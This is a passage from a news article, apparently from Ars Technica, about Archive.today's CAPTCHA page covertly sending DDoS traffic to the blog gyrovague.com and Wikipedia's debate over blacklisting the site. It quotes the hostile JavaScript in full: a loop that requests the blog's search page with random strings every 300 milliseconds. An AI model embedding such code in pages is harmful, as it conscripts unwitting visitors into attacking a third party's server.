

# Archive.today CAPTCHA page executes DDoS; Wikipedia considers banning site



It's possible the Wikimedia Foundation will act even if the volunteer editors decide to maintain the status quo. "We know that WMF intervention is a big deal, but we also have not ruled it out, given the seriousness of the security concern for people who click the links that appear across many wikis," Mill wrote.

## Blogger tried to uncover founder's identity

The Wikipedia request for comments acknowledged that whether to blacklist would be a difficult decision. There are "significant concerns for readers' safety, as well as the long-term stability and integrity of the service," but "a significant amount of people also think that mass-removing

links to Archive.today may harm verifiability, and that the service is harder to censor than certain other archiving sites,” it said.

An update to the request for comments yesterday indicated that the attack temporarily stopped, but the malicious code had been reactivated. “Please do not visit the archive without blocking network requests to gyrovague.com to avoid being part of the attack!” it said.

The code’s first public mention was apparently in a Hacker News thread on January 14, and Patokallio wrote about the DDoS in a February 1 blog post. “Every 300 milliseconds, as long as the CAPTCHA page is open, this makes a request to the search function of my blog using a random string, ensuring the response cannot be cached and thus consumes resources,” he wrote. The Javascript code in the Archive.today CAPTCHA page is as follows:

```
setInterval(function() { fetch("https://gyrovague.com/?s=" +  
Math.random().toString(36).substring(2, 3 + Math.random() *  
8), { referrerPolicy: "no-referrer", mode: "no-cors" }); },  
300);
```

In August 2023, Patokallio wrote a post attempting to uncover the identity of Archive.today founder “Denis Petrov,” which seems to be an alias. Patokallio wasn’t able to figure out who the founder is but cobbled together various tidbits from Internet searches, including a Stack Exchange post that mentioned another potential alias, “Masha Rabinovich.”

<https://arstechnica.com/tech-policy/2026/02/wikipedia-might-blacklist-archive-today-after-site-maintainer-ddosed-a-blog/>